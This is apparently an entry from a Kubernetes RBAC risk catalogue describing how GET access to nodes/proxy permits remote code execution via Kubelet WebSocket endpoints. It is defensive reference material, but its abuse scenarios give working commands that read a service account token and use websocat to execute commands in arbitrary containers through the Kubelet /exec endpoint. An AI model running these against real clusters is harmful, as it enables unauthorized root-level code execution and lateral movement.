Overview

FieldValue
ID1104
NameNode proxy GET RCE via WebSocket
Risk CategoryElevation of Privilege
Risk LevelCritical
Role TypeClusterRole
API Groupscore
Resourcesnodes/proxy
Risky Verb Combinations[get] · [get, list] · [get, watch] · [get, list, watch]
TagsAuthorizationBypass ClusterAdminAccess CodeExecution ElevationOfPrivilege LateralMovement (+1 more)

Description

Allows GET access to nodes/proxy, which enables remote code execution in any pod via WebSocket-based endpoints (/exec, /run, /attach, /portforward) on the Kubelet API. WebSocket connections use HTTP GET for the initial handshake, causing the Kubelet to authorize based on GET instead of CREATE. This bypasses the API server’s stricter authorization and allows executing arbitrary commands in any container on the cluster. Requires direct network connectivity to the Kubelet API on port 10250.

Abuse Scenarios

  1. Execute commands in any pod via Kubelet WebSocket endpoint (requires direct Kubelet access).
# Get a service account token with nodes/proxy GET permission
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP=<node-internal-ip>
# Use WebSocket to execute commands via Kubelet's /exec endpoint
# WebSocket handshake uses GET, bypassing CREATE verb requirement
websocat --insecure \
  --header "Authorization: Bearer $TOKEN" \
  --protocol v4.channel.k8s.io \
  "wss://$NODE_IP:10250/exec/<namespace>/<pod-name>/<container-name>?output=1&error=1&command=id"
# Example output: uid=0(root) gid=0(root) groups=0(root)
  1. Query Kubelet metrics endpoint to verify access.
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP=<node-internal-ip>
curl -sk -H "Authorization: Bearer $TOKEN" "https://$NODE_IP:10250/metrics" | head -n 10
  1. Verify that POST requests are denied (only GET-based WebSocket works).
# This POST request will be denied with 'verb=create' forbidden error
# demonstrating that only WebSocket (which uses GET handshake) works
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP=<node-internal-ip>
curl -sk -X POST \
  -H "Authorization: Bearer $TOKEN" \
  "https://$NODE_IP:10250/exec/<namespace>/<pod-name>/<container-name>?command=hostname&stdout=true&stderr=true"
# Expected: Forbidden (user=..., verb=create, resource=nodes, subresource(s)=[proxy])